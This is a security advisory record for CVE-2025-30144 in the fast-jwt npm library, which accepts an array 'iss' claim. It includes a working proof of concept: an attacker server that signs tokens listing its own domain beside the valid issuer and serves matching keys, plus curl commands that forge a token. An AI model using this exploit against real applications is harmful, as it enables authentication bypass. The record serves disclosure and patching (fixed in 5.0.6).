{"id":"GHSA-gm45-q3v2-6cf8","summary":"Fast-JWT Improperly Validates iss Claims","details":"### Summary\nThe `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.\n\n#### Details\nThe `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `['https://attacker-domain/', 'https://valid-iss']`. Due to the permissive validation, the JWT will be deemed valid.\n\nFurthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks.\n\n#### PoC\nTake a server running the following code:\n\n```js\nconst express = require('express')\nconst buildJwks = require('get-jwks')\nconst { createVerifier } = require('fast-jwt')\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =\u003e\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: 'https://valid-iss',\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(' ')\n  let token = '';\n  if (headerAuth.length \u003e 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or not\napp.get('/auth', verifyToken, (req, res) =\u003e {\n  res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nNow we build a server that will be used to generate the JWT token and send the verification keys to the victim server:\n\n```js\nconst { generateKeyPairSync } = require('crypto');\nconst express = require('express');\nconst pem2jwk = require('pem2jwk');\nconst jwt = require('jsonwebtoken');\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}/`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\", \n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },\n        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    },\n); \nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create token\napp.post('/create-token', (req, res) =\u003e {\n  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });\n  res.send(token);\n});\n\napp.get('/.well-known/jwks.json', (req, res) =\u003e {\n    return res.json({\n        keys: [{\n            ...jwk,\n            alg: 'RS256',\n            use: 'sig',\n        }]\n    });\n})\n\napp.all('*', (req, res) =\u003e {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + '.well-known/jwks.json'\n    });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\n\n```bash\nexport TOKEN=$(curl -X POST http://localhost:3001/create-token -H \"Content-Type: application/json\" -d '{\"name\": \"test\"}')\ncurl -X GET http://localhost:3000/auth -H \"Authorization: Bearer $TOKEN\"\n```\n\n#### Impact\nApplications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n#### Solution\nChange https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.","aliases":["CVE-2025-30144"],"modified":"2025-03-20T18:58:42Z","published":"2025-03-19T15:48:43Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2025-03-19T15:48:43Z","nvd_published_at":"2025-03-19T16:15:33Z","cwe_ids":["CWE-290"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30144"},{"type":"WEB","url":"https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd"},{"type":"WEB","url":"https://datatracker.ietf.org/doc/html/rfc7519#page-9"},{"type":"PACKAGE","url":"https://github.com/nearform/fast-jwt"}],"affected":[{"package":{"name":"fast-jwt","ecosystem":"npm","purl":"pkg:npm/fast-jwt"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.0.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-gm45-q3v2-6cf8/GHSA-gm45-q3v2-6cf8.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"}]}